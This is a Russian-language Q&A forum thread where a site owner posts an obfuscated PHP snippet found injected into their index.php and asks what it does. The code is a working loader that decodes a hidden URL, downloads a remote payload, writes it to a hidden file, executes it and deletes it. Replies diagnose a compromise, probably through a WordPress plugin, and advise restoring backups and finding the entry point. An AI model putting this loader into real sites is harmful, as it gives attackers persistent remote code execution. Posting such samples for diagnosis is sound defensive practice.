2016-08-03 1 views
1

Будучи единственным разработчиком на моем сервере, у которого нет доступа к нему, мне любопытно узнать, могут ли хакеры каким-то образом писать в php-файлы? Я столкнулся с этим разделом PHP-кода в верхней части моего index.php, с которым я не знаком и не поставил его сам. Я не знаю, что с этим делать или что их попытки, немного обеспокоены. Любые советы приветствуются.Injection hack php использует информацию

<?php 
@ini_set('display_errors', '0'); 
error_reporting(0); 
$ea = '_shaesx_'; $ay = 'get_data_ya'; $ae = 'decode'; $ea = str_replace('_sha', 'bas', $ea); $ao = 'wp_cd'; $ee = $ea.$ae; $oa = str_replace('sx', '64', $ee); $algo = 'md5'; 
$pass = "Zgc5c4MXrLUocQYT5ZtHJf/cM1fWdrpdmmSLH6uToRkH"; 
if (ini_get('allow_url_fopen')) { 
    function get_data_ya($url) { 
     $data = file_get_contents($url); 
     return $data; 
    } 
} 
else { 
    function get_data_ya($url) { 
     $ch = curl_init(); 
     curl_setopt($ch, CURLOPT_HEADER, 0); 
     curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); 
     curl_setopt($ch, CURLOPT_URL, $url); 
     curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, 8); 
     $data = curl_exec($ch); 
     curl_close($ch); 
     return $data; 
    } 
} 
function wp_cd($fd, $fa="") 
{ 
    $fe = "wp_frmfunct"; 
    $len = strlen($fd); 
    $ff = ''; 
    $n = $len>100 ? 8 : 2; 
    while(strlen($ff)<$len) 
    { 
     $ff .= substr(pack('H*', sha1($fa.$ff.$fe)), 0, $n); 
    } 
    return $fd^$ff; 
} 
$reqw = $ay($ao($oa("$pass"), 'wp_function')); 
preg_match('#gogo(.*)enen#is', $reqw, $mtchs); 
$dirs = glob("*", GLOB_ONLYDIR); 
foreach ($dirs as $dira) { 
    if (fopen("$dira/.$algo", 'w')) { $ura = 1; $eb = "$dira/"; $hdl = fopen("$dira/.$algo", 'w'); break; } 
    $subdirs = glob("$dira/*", GLOB_ONLYDIR); 
    foreach ($subdirs as $subdira) { 
     if (fopen("$subdira/.$algo", 'w')) { $ura = 1; $eb = "$subdira/"; $hdl = fopen("$subdira/.$algo", 'w'); break; } 
    } 
} 
if (!$ura && fopen(".$algo", 'w')) { $ura = 1; $eb = ''; $hdl = fopen(".$algo", 'w'); } 
fwrite($hdl, "<?php\n$mtchs[1]\n?>"); 
fclose($hdl); 
include("{$eb}.$algo"); 
unlink("{$eb}.$algo"); 
?> 
+3

Похоже, что ваш сервер был скомпрометирован. Это также похоже на то, что код зацикливается на некоторых серверах и пытается записать материал в некоторых файлах. Я бы сначала восстановил резервную копию и установил последние обновления. – sietse85

+1

Похоже, вы установили wordpress и установили скомпрометированный плагин или плагин badboy :) – Bobot

ответ

1

Я бы поставил на карантин сайт, пока вы не найдете, как хакер получил доступ в первую очередь. Затем исправьте эту проблему. Удаление его кода не остановит его возвращения, если предыдущее ядро ​​безопасности все еще остается. Вероятно, это из-за небезопасного плагина wordpress.

Что касается кода хакеров, он, похоже, сканируется с произвольного URL-адреса и записывается на ваш сервер.